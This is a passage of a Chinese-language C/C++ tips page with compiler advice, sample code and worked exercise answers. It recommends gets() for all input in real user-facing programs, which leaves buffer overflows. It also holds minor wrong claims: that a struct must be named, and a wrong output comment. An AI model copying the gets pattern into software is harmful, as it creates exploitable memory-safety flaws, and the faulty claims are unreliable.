href=\"#_7\" class=\"md-nav__link\">\n    题目\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_8\" class=\"md-nav__link\">\n    答案\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_9\" class=\"md-nav__link\">\n    一句话解释\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_10\" class=\"md-nav__link\">\n    详细解释\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_11\" class=\"md-nav__link\">\n    这就够了吗？\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_12\" class=\"md-nav__link\">\n    回顾一下\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#2\" class=\"md-nav__link\">\n    2.结构数组\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"2.结构数组\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_13\" class=\"md-nav__link\">\n    题目\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_14\" class=\"md-nav__link\">\n    答案\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_15\" class=\"md-nav__link\">\n    解析\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_16\" class=\"md-nav__link\">\n    指针，数组各种玩法\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_17\" class=\"md-nav__link\">\n    数组的数组\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n      \n    </ul>\n  \n</nav>\n                  </div>\n                </div>\n              </div>\n            \n          \n          \n            <div class=\"md-content\" data-md-component=\"content\">\n              <article class=\"md-content__inner md-typeset\">\n                \n                  \n\n  \n  \n\n\n<h1 id=\"c\">C语言<a class=\"headerlink\" href=\"#c\" title=\"Permanent link\">&para;</a></h1>\n<p>一点关于C的建议咯，也包含C++</p>\n<p>顺带附上几个题目和我写的解答</p>\n<hr />\n<h2 id=\"dev-c\">关于Dev C++<a class=\"headerlink\" href=\"#dev-c\" title=\"Permanent link\">&para;</a></h2>\n<ul>\n<li>\n<p>有时候会发生改了代码但运行起来是旧版本的情况，需要检查是否关闭了正在运行的exe，如果是工程需要按F12全部重新编译清空缓存</p>\n</li>\n<li>\n<p>编译工程错误定位在Makefile说明有函数声明了但没有定义，或者可能是出现了多个文件同名函数，小心其创建工程的时候自动产生的main.c</p>\n</li>\n<li>\n<p>如果单纯只需要编译一个C文件，为追求编译速度可以考虑使用tcc (Tiny C Compile)编译器，参见<a href=\"https://qs1401.com/?post=18\">https://qs1401.com/?post=18</a>；另外你可以修改编译的优化参数，不要用<code>-O3</code>这种更适合正式发布时的优化选项</p>\n</li>\n<li>\n<p>不要在一个项目中混用.c和.cpp，将导致<code>ld</code>链接的时候函数找不到。因为编译.cpp的时候是C++的编译，由于要支持重载，编译器会自动修改函数名称，导致代码中同样名字的函数编译出来的.o文件里面函数名称是不同的，这样.c找不到.cpp的函数，自然无法链接；不过还是有技巧的：extern &ldquo;C&rdquo;包住即可</p>\n</li>\n<li>\n<p>注意指针的星号别少写：想一次写两个指针？不能写<code>FILE* fp1,fp2;</code>而是每个变量前面都要带上星号！正确写法：<code>FILE *fp1,*fp2; char *s1,*s2;</code></p>\n</li>\n</ul>\n<hr />\n<h2 id=\"_1\">输入的问题<a class=\"headerlink\" href=\"#_1\" title=\"Permanent link\">&para;</a></h2>\n<p>在开发真实用户会使用的命令行程序时，我建议所有的输入全部使用gets完成，然后再用sscanf读取到变量，可以有效防止scanf在一行出错波及到下一行</p>\n<p>当然更安全的是 <code>fgets(buf,9999,stdin);</code> 指定最多读取多少个字节避免栈溢出，但这种方法会得到\\n字符</p>\n<p>另外，无论是scanf还是sscanf，赋值给int/double等类型的变量一定要写&amp;符号！</p>\n<p>以下代码演示这种输入方法，对输入的n个数调用qsort排序；输入格式：第一行 N表示数的个数，第二行 N个需要排序的数(N&lt;1000)</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"cp\">#include</span><span class=\"w\"> </span><span class=\"cpf\">&lt;stdio.h&gt;</span>\n<span class=\"cp\">#include</span><span class=\"w\"> </span><span class=\"cpf\">&lt;stdlib.h&gt;</span>\n<span class=\"kt\">char</span><span class=\"w\"> </span><span class=\"n\">buf</span><span class=\"p\">[</span><span class=\"mi\">9999</span><span class=\"p\">];</span>\n<span class=\"kt\">int</span><span class=\"w\"> </span><span class=\"n\">data</span><span class=\"p\">[</span><span class=\"mi\">1005</span><span class=\"p\">];</span><span class=\"w\"> </span><span class=\"c1\">//不要在局部变量定义大数组，会炸栈</span>\n<span class=\"kt\">int</span><span class=\"w\"> </span><span class=\"nf\">cmp</span><span class=\"p\">(</span><span class=\"k\">const</span><span class=\"w\"> </span><span class=\"kt\">void</span><span class=\"o\">*</span><span class=\"w\"> </span><span class=\"n\">a</span><span class=\"p\">,</span><span class=\"k\">const</span><span class=\"w\"> </span><span class=\"kt\">void</span><span class=\"o\">*</span><span class=\"w\"> </span><span class=\"n\">b</span><span class=\"p\">){</span>\n<span class=\"w\">    </span><span class=\"k\">return</span><span class=\"w\"> </span><span class=\"o\">*</span><span class=\"p\">(</span><span class=\"kt\">int</span><span class=\"o\">*</span><span class=\"p\">)</span><span class=\"n\">a</span><span class=\"o\">-*</span><span class=\"p\">(</span><span class=\"kt\">int</span><span class=\"o\">*</span><span class=\"p\">)</span><span class=\"n\">b</span><span class=\"p\">;</span>\n<span class=\"p\">}</span>\n<span class=\"kt\">int</span><span class=\"w\"> </span><span class=\"nf\">main</span><span class=\"p\">(){</span>\n<span class=\"w\">    </span><span class=\"kt\">int</span><span class=\"w\"> </span><span class=\"n\">N</span><span class=\"p\">,</span><span class=\"n\">i</span><span class=\"p\">;</span>\n<span class=\"w\">    </span><span class=\"n\">gets</span><span class=\"p\">(</span><span class=\"n\">buf</span><span class=\"p\">);</span>\n<span class=\"w\">    </span><span class=\"n\">sscanf</span><span class=\"p\">(</span><span class=\"n\">buf</span><span class=\"p\">,</span><span class=\"s\">&quot;%d&quot;</span><span class=\"p\">,</span><span class=\"o\">&amp;</span><span class=\"n\">N</span><span class=\"p\">);</span>\n<span class=\"w\">    </span><span class=\"n\">gets</span><span class=\"p\">(</span><span class=\"n\">buf</span><span class=\"p\">);</span>\n<span class=\"w\">    </span><span class=\"k\">for</span><span class=\"p\">(</span><span class=\"n\">i</span><span class=\"o\">=</span><span class=\"mi\">0</span><span class=\"p\">;</span><span class=\"n\">i</span><span class=\"o\">&lt;</span><span class=\"n\">N</span><span class=\"p\">;</span><span class=\"n\">i</span><span class=\"o\">++</span><span class=\"p\">)</span><span class=\"w\"> </span><span class=\"p\">{</span>\n<span class=\"w\">        </span><span class=\"n\">sscanf</span><span class=\"p\">(</span><span class=\"n\">buf</span><span class=\"p\">,</span><span class=\"s\">&quot;%d %[^</span><span class=\"se\">\\n</span><span class=\"s\">]&quot;</span><span class=\"p\">,</span><span class=\"o\">&amp;</span><span class=\"n\">data</span><span class=\"p\">[</span><span class=\"n\">i</span><span class=\"p\">],</span><span class=\"n\">buf</span><span class=\"p\">);</span>\n<span class=\"w\">    </span><span class=\"p\">}</span>\n<span class=\"w\">    </span><span class=\"n\">qsort</span><span class=\"p\">(</span><span class=\"n\">data</span><span class=\"p\">,</span><span class=\"n\">N</span><span class=\"p\">,</span><span class=\"k\">sizeof</span><span class=\"p\">(</span><span class=\"kt\">int</span><span class=\"p\">),</span><span class=\"n\">cmp</span><span class=\"p\">);</span>\n<span class=\"w\">    </span><span class=\"k\">for</span><span class=\"p\">(</span><span class=\"n\">i</span><span class=\"o\">=</span><span class=\"mi\">0</span><span class=\"p\">;</span><span class=\"n\">i</span><span class=\"o\">&lt;</span><span class=\"n\">N</span><span class=\"mi\">-1</span><span class=\"p\">;</span><span class=\"n\">i</span><span class=\"o\">++</span><span class=\"p\">)</span><span class=\"w\"> </span><span class=\"n\">printf</span><span class=\"p\">(</span><span class=\"s\">&quot;%d &quot;</span><span class=\"p\">,</span><span class=\"n\">data</span><span class=\"p\">[</span><span class=\"n\">i</span><span class=\"p\">]);</span>\n<span class=\"w\">    </span><span class=\"n\">printf</span><span class=\"p\">(</span><span class=\"s\">&quot;%d&quot;</span><span class=\"p\">,</span><span class=\"n\">data</span><span class=\"p\">[</span><span class=\"n\">i</span><span class=\"p\">]);</span>\n<span class=\"p\">}</span>\n</code></pre></div>\n\n<hr />\n<h2 id=\"csstreamsprintf\">C++用sstream代替sprintf<a class=\"headerlink\" href=\"#csstreamsprintf\" title=\"Permanent link\">&para;</a></h2>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"cp\">#include</span><span class=\"w\"> </span><span class=\"cpf\">&lt;string&gt;</span>\n<span class=\"cp\">#include</span><span class=\"w\"> </span><span class=\"cpf\">&lt;sstream&gt;</span>\n<span class=\"cp\">#include</span><span class=\"w\"> </span><span class=\"cpf\">&lt;iostream&gt;</span><span class=\"c1\"> </span>\n<span class=\"k\">using</span><span class=\"w\"> </span><span class=\"k\">namespace</span><span class=\"w\"> </span><span class=\"nn\">std</span><span class=\"p\">;</span>\n<span class=\"kt\">int</span><span class=\"w\"> </span><span class=\"nf\">main</span><span class=\"p\">(){</span>\n<span class=\"w\">    </span><span class=\"n\">stringstream</span><span class=\"w\"> </span><span class=\"n\">s</span><span class=\"p\">;</span>\n<span class=\"w\">    </span><span class=\"n\">string</span><span class=\"w\"> </span><span class=\"n\">result</span><span class=\"p\">;</span>\n<span class=\"w\">    </span><span class=\"kt\">int</span><span class=\"w\"> </span><span class=\"n\">i</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"mi\">1000</span><span class=\"p\">;</span>\n<span class=\"w\">    </span><span class=\"n\">s</span><span class=\"w\"> </span><span class=\"o\">&lt;&lt;</span><span class=\"s\">&quot;haha &quot;</span><span class=\"o\">&lt;&lt;</span><span class=\"w\"> </span><span class=\"n\">i</span><span class=\"p\">;</span><span class=\"w\"> </span>\n<span class=\"w\">    </span><span class=\"n\">getline</span><span class=\"p\">(</span><span class=\"n\">s</span><span class=\"p\">,</span><span class=\"n\">result</span><span class=\"p\">);</span><span class=\"w\"> </span><span class=\"c1\">// the whole line rather than just the first word</span>\n<span class=\"w\">    </span><span class=\"n\">cout</span><span class=\"w\"> </span><span class=\"o\">&lt;&lt;</span><span class=\"w\"> </span><span class=\"n\">result</span><span class=\"w\"> </span><span class=\"o\">&lt;&lt;</span><span class=\"w\"> </span><span class=\"n\">endl</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"c1\">// print &quot;haha1000&quot;</span>\n<span class=\"w\">    </span><span class=\"n\">s</span><span class=\"p\">.</span><span class=\"n\">clear</span><span class=\"p\">();</span>\n<span class=\"p\">}</span><span class=\"w\"> </span>\n</code></pre></div>\n\n<hr />\n<h2 id=\"g\">解决g++省略拷贝构造函数的问题<a class=\"headerlink\" href=\"#g\" title=\"Permanent link\">&para;</a></h2>\n<p>g++为了防止在函数返回值是对象的时候，拷贝构造被调用多次，即使拷贝构造函数有副作用，也会被优化掉（直接就不调用拷贝构造函数了）</p>\n<p>为了解决这个问题，从而证明教材上的正确性/语言的特性，需要在编译（不是链接）的时候加入以下开关：</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"o\">-</span><span class=\"n\">fno</span><span class=\"o\">-</span><span class=\"n\">elide</span><span class=\"o\">-</span><span class=\"n\">constructors</span>\n</code></pre></div>\n\n<hr />\n<h2 id=\"_2\">[数据结构]树的遍历<a class=\"headerlink\" href=\"#_2\" title=\"Permanent link\">&para;</a></h2>\n<p>允许不确定个元素的子节点个数，要求给出所有从根节点开始到叶节点的路径</p>\n<p>我是这么写的遍历循环（伪代码），其中p1和p2是指向节点的指针：</p>\n<div class=\"codehilite\"><pre><span></span><code>路径<span class=\"o\">=</span>[根节点]\n<span class=\"k\">while</span><span class=\"ss\">(</span>循环条件<span class=\"ss\">)</span>:\n<span class=\"w\">    </span><span class=\"k\">while</span><span class=\"w\"> </span><span class=\"ss\">(</span><span class=\"nv\">p2</span><span class=\"o\">=</span><span class=\"nv\">p1</span>的下一个没有遍历过的子节点<span class=\"ss\">)</span>不为空:\n<span class=\"w\">        </span>把<span class=\"nv\">p2</span>加入路径\n<span class=\"w\">        </span><span class=\"nv\">p1</span><span class=\"o\">=</span><span class=\"nv\">p2</span>\n<span class=\"w\">    </span><span class=\"k\">if</span><span class=\"w\"> </span><span class=\"nv\">p1</span>为叶节点:\n<span class=\"w\">        </span>得到了一条从根节点到一个叶节点的路径\n<span class=\"w\">    </span>路径<span class=\"nv\">pop</span>，换言之，删掉最后加入的节点\n<span class=\"w\">    </span><span class=\"nv\">p1</span><span class=\"o\">=</span><span class=\"nv\">p1</span>的父节点（就是回溯）\n</code></pre></div>\n\n<p>其中关键的<strong>p1的下一个没有遍历过的子节点</strong>的实现是这样子的：</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"k\">if</span><span class=\"w\"> </span>当前孩子的下标<span class=\"o\">&gt;=</span>孩子总数:\n<span class=\"w\">    </span><span class=\"k\">return</span><span class=\"w\"> </span><span class=\"nv\">NULL</span>\n<span class=\"k\">else</span><span class=\"w\"> </span><span class=\"k\">return</span><span class=\"w\"> </span>子节点数组[当前下标<span class=\"o\">++</span>]\n</code></pre></div>\n\n<p>卖个关子。。。请思考一下循环条件应该写啥？</p>\n<h3 id=\"_3\">遍历的循环条件<a class=\"headerlink\" href=\"#_3\" title=\"Permanent link\">&para;</a></h3>\n<p>一开始我写的是：“根节点还有未遍历过的子节点”，但是这么写在这里就出了问题，由于标记已经遍历的子节点发生在真正遍历完子节点之前（我用的return 数组[下标++]），在循环根节点的最后一个子节点的时候会提前结束循环，导致没能遍历所有节点！</p>\n<p>正确的写法是：<strong>路径的元素个数&gt;=1</strong></p>\n<p>路径可以用vector实现，元素个数就是vector的size()，只有遍历完成了整个树之后，根节点才会被pop出来，结束循环。</p>\n<h3 id=\"_4\">使用面向对象的思想<a class=\"headerlink\" href=\"#_4\" title=\"Permanent link\">&para;</a></h3>\n<p>这个题目我使用了C++来写，果然比C好多了。。。只要想好接口就能很方便地实现需要的功能啦（不过还是Python内置的list好多了，C++的vector各种const的坑</p>\n<p>这里分享一下我设计的接口：</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"k\">class</span><span class=\"w\"> </span><span class=\"n\">Node</span><span class=\"p\">{</span>\n<span class=\"w\">    </span><span class=\"n\">public</span><span class=\"p\">:</span>\n<span class=\"w\">        </span><span class=\"n\">Node</span><span class=\"p\">();</span>\n<span class=\"w\">        </span><span class=\"nb nb-Type\">void</span><span class=\"w\"> </span><span class=\"n\">setChildNum</span><span class=\"p\">(</span><span class=\"nb nb-Type\">int</span><span class=\"w\"> </span><span class=\"n\">num</span><span class=\"p\">);</span><span class=\"w\"> </span><span class=\"o\">//</span><span class=\"err\">为子节点的指针的数组分配空间</span>\n<span class=\"w\">        </span><span class=\"nb nb-Type\">void</span><span class=\"w\"> </span><span class=\"n\">addOneChild</span><span class=\"p\">(</span><span class=\"n\">Node</span><span class=\"o\">*</span><span class=\"w\"> </span><span class=\"n\">child</span><span class=\"p\">);</span>\n<span class=\"w\">        </span><span class=\"nb nb-Type\">void</span><span class=\"w\"> </span><span class=\"n\">setData</span><span class=\"p\">(</span><span class=\"nb nb-Type\">int</span><span class=\"w\"> </span><span class=\"n\">data</span><span class=\"p\">);</span>\n<span class=\"w\">        </span><span class=\"nb nb-Type\">int</span><span class=\"w\"> </span><span class=\"n\">getData</span><span class=\"p\">();</span>\n<span class=\"w\">        </span><span class=\"nb nb-Type\">void</span><span class=\"w\"> </span><span class=\"n\">setParent</span><span class=\"p\">(</span><span class=\"n\">Node</span><span class=\"o\">*</span><span class=\"w\"> </span><span class=\"n\">parent</span><span class=\"p\">);</span>\n<span class=\"w\">        </span><span class=\"n\">Node</span><span class=\"o\">*</span><span class=\"w\"> </span><span class=\"n\">getParent</span><span class=\"p\">();</span>\n<span class=\"w\">        </span><span class=\"n\">Node</span><span class=\"o\">*</span><span class=\"w\"> </span><span class=\"n\">getCurrentChild</span><span class=\"p\">();</span><span class=\"w\"> </span><span class=\"o\">//</span><span class=\"err\">获得当前还没走过的子节点，并且把返回的子节点标记为走过了</span>\n<span class=\"w\">        </span><span class=\"nb nb-Type\">bool</span><span class=\"w\"> </span><span class=\"n\">hasChildToGo</span><span class=\"p\">();</span><span class=\"w\"> </span><span class=\"o\">//</span><span class=\"err\">这个节点是不是所有的子节点都完成了</span>\n<span class=\"w\">        </span><span class=\"nb nb-Type\">bool</span><span class=\"w\"> </span><span class=\"n\">isLeafNode</span><span class=\"p\">();</span><span class=\"w\"> </span><span class=\"o\">//</span><span class=\"err\">这个节点是不是叶节点</span>\n<span class=\"w\">    </span><span class=\"n\">private</span><span class=\"p\">:</span>\n<span class=\"w\">        </span><span class=\"o\">//...</span><span class=\"err\">省略咯</span><span class=\"o\">...</span>\n<span class=\"p\">};</span>\n<span class=\"k\">class</span><span class=\"w\"> </span><span class=\"n\">Nodes</span><span class=\"p\">{</span><span class=\"w\"> </span><span class=\"o\">//</span><span class=\"err\">存储路径的</span><span class=\"n\">Nodes</span>\n<span class=\"w\">    </span><span class=\"n\">public</span><span class=\"p\">:</span>\n<span class=\"w\">        </span><span class=\"nb nb-Type\">void</span><span class=\"w\"> </span><span class=\"n\">append</span><span class=\"p\">(</span><span class=\"n\">Node</span><span class=\"o\">*</span><span class=\"w\"> </span><span class=\"n\">x</span><span class=\"p\">);</span><span class=\"w\"> </span><span class=\"o\">//</span><span class=\"err\">把节点加入路径</span>\n<span class=\"w\">        </span><span class=\"nb nb-Type\">void</span><span class=\"w\"> </span><span class=\"n\">pop</span><span class=\"p\">();</span><span class=\"w\"> </span><span class=\"o\">//</span><span class=\"err\">删掉最后加入的那个节点</span>\n<span class=\"w\">        </span><span class=\"nb nb-Type\">int</span><span class=\"w\"> </span><span class=\"n\">getSumData</span><span class=\"p\">();</span><span class=\"w\"> </span><span class=\"o\">//</span><span class=\"err\">路径上所有节点的</span><span class=\"n\">data的和</span>\n<span class=\"w\">        </span><span class=\"nb nb-Type\">int</span><span class=\"w\"> </span><span class=\"n\">length</span><span class=\"p\">();</span><span class=\"w\"> </span><span class=\"o\">//</span><span class=\"err\">路径当前的长度</span>\n<span class=\"w\">        </span><span class=\"n\">friend</span><span class=\"w\"> </span><span class=\"nb nb-Type\">bool</span><span class=\"w\"> </span><span class=\"n\">cmp</span><span class=\"p\">(</span><span class=\"k\">const</span><span class=\"w\"> </span><span class=\"n\">Nodes</span><span class=\"o\">&amp;</span><span class=\"w\"> </span><span class=\"n\">a</span><span class=\"p\">,</span><span class=\"k\">const</span><span class=\"w\"> </span><span class=\"n\">Nodes</span><span class=\"o\">&amp;</span><span class=\"n\">b</span><span class=\"p\">);</span><span class=\"w\"> </span><span class=\"o\">//</span><span class=\"err\">用于对路径进行排序</span>\n<span class=\"w\">        </span><span class=\"n\">friend</span><span class=\"w\"> </span><span class=\"n\">ostream</span><span class=\"o\">&amp;</span><span class=\"w\"> </span><span class=\"n\">operator</span><span class=\"o\">&lt;&lt;</span><span class=\"p\">(</span><span class=\"n\">ostream</span><span class=\"o\">&amp;</span><span class=\"w\"> </span><span class=\"n\">out</span><span class=\"p\">,</span><span class=\"n\">Nodes</span><span class=\"o\">&amp;</span><span class=\"w\"> </span><span class=\"n\">x</span><span class=\"p\">);</span><span class=\"w\"> </span>\n<span class=\"w\">    </span><span class=\"n\">private</span><span class=\"p\">:</span>\n<span class=\"w\">        </span><span class=\"n\">vector</span><span class=\"o\">&lt;</span><span class=\"n\">Node</span><span class=\"o\">*&gt;</span><span class=\"w\"> </span><span class=\"n\">data</span><span class=\"p\">;</span>\n<span class=\"p\">};</span>\n</code></pre></div>\n\n<h2 id=\"constvectorconst_iterator\">对一个const的vector使用迭代器要用const_iterator<a class=\"headerlink\" href=\"#constvectorconst_iterator\" title=\"Permanent link\">&para;</a></h2>\n<p>有时候函数参数就规定了必须是const的，如sort的比较函数，而比较的对象又是vector</p>\n<p>方法就是用<code>vector&lt;你的类型&gt;::const_iterator</code></p>\n<hr />\n<h3 id=\"_5\">小心未初始化的变量<a class=\"headerlink\" href=\"#_5\" title=\"Permanent link\">&para;</a></h3>\n<p>写代码的时候最好声明的时候就立刻初始化，未初始化的变量是未定义行为，可能出现加了个printf就好了，去掉printf就炸了的情况。</p>\n<p>你可以在Linux上使用<code>gcc -fsanitize=undefined</code>编译，让Undefined Sanitizer为你找出错误；顺带一提，ASAN也很有用，<a href=\"https://www.freebuf.com/news/83811.html\">参见</a></p>\n<hr />\n<h2 id=\"_6\">获取文件大小<a class=\"headerlink\" href=\"#_6\" title=\"Permanent link\">&para;</a></h2>\n<p>Python里很简单 你可以os.path.getsize(filename) 这个本质上调用的是os.stat；下面的方法是打开文件，用fseek跳转到文件结束</p>\n<p>Learned from: http://blog.csdn.net/chenglibin1988/article/details/8750480</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"n\">long</span> <span class=\"n\">int</span> <span class=\"n\">get_file_size</span><span class=\"p\">(</span><span class=\"n\">char</span><span class=\"o\">*</span> <span class=\"n\">filename</span><span class=\"p\">){</span>\n    <span class=\"o\">/*</span>\n     <span class=\"o\">*</span> <span class=\"err\">使用</span><span class=\"n\">fseek和ftell获取文件大小</span><span class=\"err\">，失败时返回</span><span class=\"o\">-</span><span class=\"mi\">1</span> \n     <span class=\"o\">*/</span>\n    <span class=\"n\">int</span> <span class=\"n\">filesize</span><span class=\"p\">;</span>\n    <span class=\"n\">FILE</span><span class=\"o\">*</span> <span class=\"n\">fp</span> <span class=\"o\">=</span> <span class=\"n\">fopen</span><span class=\"p\">(</span><span class=\"n\">filename</span><span class=\"p\">,</span><span class=\"s\">&quot;rb&quot;</span><span class=\"p\">);</span>\n    <span class=\"n\">if</span><span class=\"p\">(</span> <span class=\"n\">NULL</span> <span class=\"o\">==</span> <span class=\"n\">fp</span> <span class=\"p\">)</span> <span class=\"n\">return</span> <span class=\"o\">-</span><span class=\"mi\">1</span><span class=\"p\">;</span>\n    <span class=\"n\">fseek</span><span class=\"p\">(</span><span class=\"n\">fp</span><span class=\"p\">,</span><span class=\"mi\">0</span><span class=\"p\">,</span><span class=\"n\">SEEK_END</span><span class=\"p\">);</span>\n    <span class=\"n\">filesize</span> <span class=\"o\">=</span> <span class=\"n\">ftell</span><span class=\"p\">(</span><span class=\"n\">fp</span><span class=\"p\">);</span>\n    <span class=\"n\">fclose</span><span class=\"p\">(</span><span class=\"n\">fp</span><span class=\"p\">);</span>\n    <span class=\"n\">return</span> <span class=\"n\">filesize</span><span class=\"p\">;</span>\n<span class=\"p\">}</span>\n</code></pre></div>\n\n<hr />\n<h2 id=\"c_1\">C程习题解答<a class=\"headerlink\" href=\"#c_1\" title=\"Permanent link\">&para;</a></h2>\n<p>学习一下各种坑爹的题目也是很不错的嘛（其实我就是为了把我的解析发上来。。。</p>\n<h3 id=\"1\">1.结构指针<a class=\"headerlink\" href=\"#1\" title=\"Permanent link\">&para;</a></h3>\n<h4 id=\"_7\">题目<a class=\"headerlink\" href=\"#_7\" title=\"Permanent link\">&para;</a></h4>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"err\">对于以下结构定义，</span><span class=\"n\">p</span><span class=\"o\">-&gt;</span><span class=\"n\">str</span><span class=\"o\">++</span><span class=\"err\">中的</span><span class=\"o\">++</span><span class=\"err\">加在</span><span class=\"n\">____</span><span class=\"err\">。</span>\n<span class=\"n\">struct</span><span class=\"w\"> </span><span class=\"p\">{</span><span class=\"n\">int</span><span class=\"w\"> </span><span class=\"n\">len</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"n\">char</span><span class=\"w\"> </span><span class=\"o\">*</span><span class=\"n\">str</span><span class=\"p\">}</span><span class=\"o\">*</span><span class=\"n\">p</span><span class=\"p\">;</span>\n<span class=\"n\">A</span><span class=\"p\">.</span><span class=\"err\">指针</span><span class=\"n\">str上</span><span class=\"w\">     </span><span class=\"n\">B</span><span class=\"p\">.</span><span class=\"err\">指针</span><span class=\"n\">p上</span><span class=\"w\">    </span><span class=\"n\">C</span><span class=\"p\">.</span><span class=\"n\">str指向的内容上</span><span class=\"w\">   </span><span class=\"n\">D</span><span class=\"p\">.</span><span class=\"err\">语法错误</span>\n</code></pre></div>\n\n<h4 id=\"_8\">答案<a class=\"headerlink\" href=\"#_8\" title=\"Permanent link\">&para;</a></h4>\n<p>D</p>\n<h4 id=\"_9\">一句话解释<a class=\"headerlink\" href=\"#_9\" title=\"Permanent link\">&para;</a></h4>\n<p>你再仔细看看？是不是少了个分号？</p>\n<h4 id=\"_10\">详细解释<a class=\"headerlink\" href=\"#_10\" title=\"Permanent link\">&para;</a></h4>\n<p>这个题目这么写编译存在语法问题的，而且运行也会炸</p>\n<p>你试试复制到Dev C++编译看看？</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"o\">[</span><span class=\"n\">Error</span><span class=\"o\">]</span><span class=\"w\"> </span><span class=\"n\">expected</span><span class=\"w\"> </span><span class=\"s1\">&#39;;&#39;</span><span class=\"w\"> </span><span class=\"k\">at</span><span class=\"w\"> </span><span class=\"k\">end</span><span class=\"w\"> </span><span class=\"k\">of</span><span class=\"w\"> </span><span class=\"k\">member</span><span class=\"w\"> </span><span class=\"n\">declaration</span>\n</code></pre></div>\n\n<p>这个错误很显然的嘛，缺少了分号，正确写法：</p>\n<div class=\"codehilite\"><pre><span></span><code>struct {int len; char *str;} *p;\n</code></pre></div>\n\n<h4 id=\"_11\">这就够了吗？<a class=\"headerlink\" href=\"#_11\" title=\"Permanent link\">&para;</a></h4>\n<p>p是一个指针，对指针使用-&gt;运算符之前必须要给指针一个空间(正确的值)，否则就会导致*null而段错误炸掉</p>\n<p>另外 这个struct没有名字，也就意味着无法给他赋值，不能被赋值的指针有什么用呢？</p>\n<p>正确的写法如下：</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"cp\">#include</span><span class=\"w\"> </span><span class=\"cpf\">&lt;stdio.h&gt;</span>\n<span class=\"cp\">#include</span><span class=\"w\"> </span><span class=\"cpf\">&lt;stdlib.h&gt;</span>\n<span class=\"cp\">#include</span><span class=\"w\"> </span><span class=\"cpf\">&lt;string.h&gt;</span>\n<span class=\"kt\">int</span><span class=\"w\"> </span><span class=\"nf\">main</span><span class=\"p\">(){</span>\n<span class=\"w\">    </span><span class=\"kt\">char</span><span class=\"w\"> </span><span class=\"n\">string</span><span class=\"p\">[</span><span class=\"mi\">666</span><span class=\"p\">]</span><span class=\"o\">=</span><span class=\"s\">&quot;abcd&quot;</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"c1\">//准备一个字符串</span>\n<span class=\"w\">    </span><span class=\"k\">struct</span><span class=\"w\"> </span><span class=\"nc\">name</span><span class=\"w\"> </span><span class=\"p\">{</span><span class=\"kt\">int</span><span class=\"w\"> </span><span class=\"n\">len</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"kt\">char</span><span class=\"w\"> </span><span class=\"o\">*</span><span class=\"n\">str</span><span class=\"p\">;}</span><span class=\"w\"> </span><span class=\"n\">s</span><span class=\"p\">;</span><span class=\"c1\">//首先要给struct取一个名字name，顺带用这个名字创建一个实例s</span>\n<span class=\"w\">    </span><span class=\"n\">s</span><span class=\"p\">.</span><span class=\"n\">str</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">string</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"c1\">//对这个实例的str赋值为string的地址</span>\n<span class=\"w\">    </span><span class=\"k\">struct</span><span class=\"w\"> </span><span class=\"nc\">name</span><span class=\"w\"> </span><span class=\"o\">*</span><span class=\"n\">p</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"o\">&amp;</span><span class=\"n\">s</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"c1\">//然后是用struct name来创建一个指向结构的指针p</span>\n<span class=\"w\">    </span><span class=\"n\">p</span><span class=\"o\">-&gt;</span><span class=\"n\">str</span><span class=\"o\">++</span><span class=\"p\">;</span><span class=\"c1\">//相当于s的str++了，str原来指向&quot;abcd&quot;字符串的&#39;a&#39;，现在指向&#39;b&#39;</span>\n<span class=\"w\">    </span><span class=\"n\">puts</span><span class=\"p\">(</span><span class=\"n\">p</span><span class=\"o\">-&gt;</span><span class=\"n\">str</span><span class=\"p\">);</span><span class=\"c1\">//输出bcd</span>\n<span class=\"p\">}</span>\n</code></pre></div>\n\n<h4 id=\"_12\">回顾一下<a class=\"headerlink\" href=\"#_12\" title=\"Permanent link\">&para;</a></h4>\n<ol>\n<li>\n<p>struct必须要有一个名字</p>\n</li>\n<li>\n<p>struct大括号中的每一项都必须<strong>以分号结尾</strong></p>\n</li>\n<li>\n<p>使用指针取值 如<code>*p</code> , <code>p-&gt;something</code>之前指针的值必须设置好</p>\n</li>\n<li>\n<p>遇到不会的题目，为啥不自己问问编译器呢？</p>\n</li>\n</ol>\n<hr />\n<h3 id=\"2\">2.结构数组<a class=\"headerlink\" href=\"#2\" title=\"Permanent link\">&para;</a></h3>\n<h4 id=\"_13\">题目<a class=\"headerlink\" href=\"#_13\" title=\"Permanent link\">&para;</a></h4>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"err\">对于以下的变量定义，表达式</span><span class=\"n\">____是正确的</span><span class=\"err\">。</span>\n<span 